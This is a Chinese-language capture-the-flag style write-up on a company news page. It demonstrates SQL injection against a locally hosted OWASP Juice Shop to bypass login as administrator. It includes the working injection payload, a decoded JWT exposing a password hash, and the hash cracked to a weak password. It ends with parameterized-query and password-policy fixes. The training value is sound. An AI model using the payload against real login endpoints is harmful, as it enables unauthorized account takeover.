ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

基于OWASP Juice Shop 的SQL 注入实战:绕过登录验证,获取管理员身份

基于OWASP Juice Shop 的SQL 注入实战:绕过登录验证,获取管理员身份 注意本文实验均在个人本地部署、合法授权的靶场环境中完成仅用于安全学习与漏洞分析。一、实验目标与环境1.1 实验目标对登录接口进行 SQL 注入测试验证是否能在不知道管理员密码的情况下登录并结合源码分析漏洞根因及修复方式。1.2 实验环境项目说明实验目标本地部署的授权靶场目标地址http://127.0.0.1:3000测试工具浏览器、Burp Suite测试接口POST /rest/user/login二、正常登录流程与测试入口2.1 捕获登录请求首先在浏览器中随意填写一组账号密码并使用 Burp Suite 抓取登录请求以分析 Juice Shop 登录接口的基本结构。抓取到的请求如下POST /rest/user/login HTTP/1.1 Host: 127.0.0.1:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json Content-Length: 29 Origin: http://127.0.0.1:3000 Connection: keep-alive Referer: http://127.0.0.1:3000/ Cookie: languagezh_CN; welcomebanner_statusdismiss; cookieconsent_statusdismiss; continueCode... Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u0 {email: 1,password:1}2.2 分析登录请求从该请求可以看出Juice Shop 的登录功能通过POST /rest/user/login接口完成并且用户名和密码并不是以传统表单参数的形式提交而是放在 HTTP 请求体中以 JSON 格式发送{ email: 1, password: 1 }其中email和password是后续测试中的可控参数。2.3 确定测试位置选择 email 字段作为测试入口password 保持为相同的错误密码。三、SQL 注入验证3.1 构造并发送注入请求将请求发送到 Burp Repeater修改email字段(登录账号为email优先使用字符型注入进行验证基础的试探此处不做演示POST /rest/user/login HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json {email: or 11 limit 1 offset 0 --,password:1}3.2 分析注入载荷片段预期作用’尝试闭合原来的字符串OR 11引入恒真条件改变查询筛选逻辑LIMIT 1 OFFSET 0取查询结果中的第一条记录–尝试注释后续 SQL 内容注意以上是载荷的预期作用实际执行逻辑需要结合源码中的 SQL 结构确认。没有明确排序时第一条记录不保证始终是管理员。3.3 分析服务端响应关键响应内容{ authentication: { token: 已省略, bid: 1, umail: adminjuice-sh.op } }记录观察结果- HTTP 状态码为 200。 - 响应包含 authentication 对象和登录令牌。 - 返回的用户邮箱为 adminjuice-sh.op。判断依据不能仅凭 200 判定绕过成功需要结合身份字段以及令牌的实际使用结果。四、管理员身份确认4.1 查看 JWT 中的身份信息JWT的结构Header.Payload.Signaturetoken:eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJkYXRhIjp7ImlkIjoxLCJ1c2VybmFtZSI6IiIsImVtYWlsIjoiYWRtaW5AanVpY2Utc2gub3AiLCJwYXNzd29yZCI6IjAxOTIwMjNhN2JiZDczMjUwNTE2ZjA2OWRmMThiNTAwIiwicm9sZSI6ImFkbWluIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IiIsInByb2ZpbGVJbWFnZSI6ImFzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdEFkbWluLnBuZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0wOS0yMiAxMDo1MzowNS45MzAgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0wOS0yMiAxMDo1MzowNS45MzAgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiYmlkIjoxLCJpYXQiOjE3OTAxNjU2NTd9.huAb8bkpiSCeCSLdC9revXLHEG84yUmGkGC875eQPIJp16GCDzOJLuIsyvNE0kTVZltxuUsdB5ZsTCYOrHqd5rSkRZDKJQc2BOpCHnL-YPy8NRK1OmdnWjerDYT9AcNwHr1N5zZJx89vzZQmRCQHBlfexlOCG_5mxO6h125lQW0,Base64URL解码返回:Header:{ typ: JWT, alg: RS256 }Payload:{ data: { id: 1, username: , email: adminjuice-sh.op, password: 0192023a7bbd73250516f069df18b500, role: admin, deluxeToken: , lastLoginIp: , profileImage: assets/public/images/uploads/defaultAdmin.png, totpSecret: , isActive: true, createdAt: 2026-09-22 10:53:05.930 00:00, updatedAt: 2026-09-22 10:53:05.930 00:00, deletedAt: null }, bid: 1, iat: 1790165657 }由解码得出管理员的email及password对password分析它是一个 32 位十六进制字符串从格式上看很像MD5摘要值查询彩虹表得知原文为admin1234.2 结果验证关闭burp suite的拦截功能将得出的管理员账号密码输入登录界面进行验证由图得知管理员身份登录成功。4.3 前置补充在登录界面的账号处直接构造此SQL语句 or 11 --密码随便输发现无需真实的admin管理员账号密码依旧实现了admin的登陆操作。五、修复建议5.1 使用参数化查询通过参数绑定将用户输入作为数据处理避免输入改变 SQL 语法结构。源码由models.sequelize.query( SELECT * FROM Users WHERE email ${req.body.email} AND password ${security.hash(req.body.password)} )改为return (req: Request, res: Response, next: NextFunction) { models.sequelize.query( SELECT * FROM Users WHERE email $1 AND password $2 AND deletedAt IS NULL, { bind: [ req.body.email, security.hash(req.body.password) ], model: models.User, plain: true } )原登录接口通过字符串拼接方式将 email 等用户输入直接加入 SQL 查询语句导致用户输入可能改变原 SQL 的语法结构从而产生 SQL 注入漏洞。修复后使用 Sequelize 的参数绑定机制以 $1、$2 作为 SQL 占位符并通过 bind 将邮箱和密码哈希作为参数传递。数据库将 SQL 语句结构和用户输入数据分离处理因此用户输入不会再被解释为 SQL 语法从而有效防止 SQL 注入。5.2 增加密码强度校验源代码由password: { type: DataTypes.STRING, set (clearTextPassword: string) { this.setDataValue(password, security.hash(clearTextPassword)) } }改为password: { type: DataTypes.STRING, set (clearTextPassword: string) { validatePasswordHasAtLeastTenChar(clearTextPassword) validatePasswordIsNotInTopOneMillionCommonPasswordsList(clearTextPassword) this.setDataValue(password, security.hash(clearTextPassword)) } }原代码在密码写入数据库前仅进行了哈希处理没有对密码长度以及是否属于常见弱密码进行校验。修复后增加最小长度限制并检测密码是否存在于常见弱密码字典中从而降低弱密码被暴力破解或字典攻击的风险。六、实验总结本次实验以登录接口POST /rest/user/login为入口通过 Burp Suite 捕获请求分析 JSON 请求体中的email和password参数并在email字段中构造 SQL 注入载荷。服务端随后返回了包含管理员邮箱的认证信息及登录令牌在登录页面中使用注入载荷也实现了无需真实管理员密码的登录。结合文中展示的源码可以确认漏洞根因是后端将email参数直接拼接进 SQL 查询。输入中的单引号、恒真条件和注释符改变了原有查询逻辑使密码校验条件被绕过。后端又将查询得到的用户记录作为认证成功的依据最终为管理员身份签发了令牌。因此本次利用属于 SQL 注入导致的认证绕过而不是 JWT 签名伪造。实验还发现返回的 JWT 载荷包含password字段。对该字段进行分析后找到了与其哈希值匹配的弱密码并通过正常登录进行了验证。这暴露出额外的问题认证令牌携带了不必要的敏感信息且管理员使用了容易被猜测的密码。需要区分的是弱密码验证属于附加发现SQL 注入绕过登录本身并不依赖获取真实密码。针对 SQL 注入核心修复措施是使用参数化查询使用户输入作为数据参与查询避免其改变 SQL 语法结构。密码强度校验和减少 JWT 中的敏感字段则分别用于降低弱密码及信息泄露风险。修复是否有效还需要通过原始注入载荷、错误密码和正确凭据进行对照复测。通过本次实验我梳理了从可控输入、数据库查询到身份认证与令牌签发的完整链路。判断漏洞是否成立不能只看响应状态码或页面提示还应结合响应内容、实际登录身份与后端代码形成相互印证的证据。
返回列表